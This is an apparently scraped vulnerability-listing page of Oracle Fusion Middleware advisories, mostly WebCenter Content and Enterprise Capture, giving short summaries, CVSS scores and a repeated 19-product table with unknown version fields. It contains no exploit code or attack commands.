vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle WebCenter Content 12.2.1.4.0 and 14.1.2.0.0 allows unauthenticated network attackers to create, delete, or modify critical data, with a CVSS 3.1 base score of 8.7.
8.7 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle WebCenter Content versions 12.2.1.4.0 and 14.1.2.0.0 allows unauthenticated remote attackers to gain unauthorized access and modify data, with a CVSS 3.1 base score of 8.2.
8.2 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical unauthenticated remote code execution vulnerability in Oracle WebCenter Enterprise Capture versions 12.2.1.4.0 and 14.1.2.0.0 via RMI has a CVSS 3.1 base score of 9.8, severely impacting confidentiality, integrity, and availability.
9.8 (Critical)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical unauthenticated remote code execution vulnerability in Oracle WebCenter Enterprise Capture versions 12.2.1.4.0 and 14.1.2.0.0 via RMI has a CVSS 3.1 base score of 9.8, severely impacting confidentiality, integrity, and availability.
9.8 (Critical)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle WebCenter Content versions 12.2.1.4.0 and 14.1.2.0.0 allows low-privileged attackers with HTTP network access to gain unauthorized access and modify critical data, with a CVSS 3.1 base score of 7.1.
7.1 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle WebCenter Content 12.2.1.4.0 and 14.1.2.0.0 allows unauthenticated network attackers to create, delete, or modify critical data, with a CVSS 3.1 base score of 8.7.
8.7 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle WebCenter Content versions 12.2.1.4.0 and 14.1.2.0.0 allows a highly privileged attacker with HTTP network access to unauthorizedly manipulate sensitive data and potentially cause partial denial of service, rated CVSS 8.2.
8.2 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical unauthenticated remote code execution vulnerability in Oracle WebCenter Enterprise Capture versions 12.2.1.4.0 and 14.1.2.0.0 has a CVSS 3.1 base score of 9.8, severely impacting confidentiality, integrity, and availability.
9.8 (Critical)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle WebCenter Content versions 12.2.1.4.0 and 14.1.2.0.0 allows unauthenticated attackers with network access to create, delete, or modify critical data, impacting confidentiality and integrity with a CVSS score of 8.0.
8.0 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle Unified Directory versions 12.2.1.4.0 and 14.1.2.1.0 allows a low-privileged attacker with network LDAP access to gain unauthorized access to critical data, with a CVSS 3.1 base score of 7.7.
7.7 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical remote code execution vulnerability with a CVSS 3.1 score of 9.8 affects Oracle WebCenter Enterprise Capture versions 12.2.1.4.0 and 14.1.2.0.0 via network access through T3 or IIOP without authentication.
9.8 (Critical)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical remote code execution vulnerability with a CVSS 3.1 score of 9.8 affects Oracle WebCenter Enterprise Capture versions 12.2.1.4.0 and 14.1.2.0.0 via network access through T3 or IIOP without authentication.
9.8 (Critical)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle WebLogic Server versions 12.2.1.4.0, 14.1.1.0.0, and 14.1.2.0.0 allows unauthenticated remote attackers to fully compromise the server via RMI, with a CVSS 3.1 base score of 9.8.
9.8 (Critical)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle WebCenter Content 12.2.1.4.0 and 14.1.2.0.0 allows unauthenticated network attackers to create, delete, or modify critical data, with a CVSS 3.1 base score of 8.7.
8.7 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A high-severity vulnerability (CVSS 8.7) in Oracle WebCenter Content versions 14.1.2.0.0 and 12.2.1.4.0 allows low-privileged attackers with network access and user interaction to create, delete, or modify critical data unauthorizedly.
8.7 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
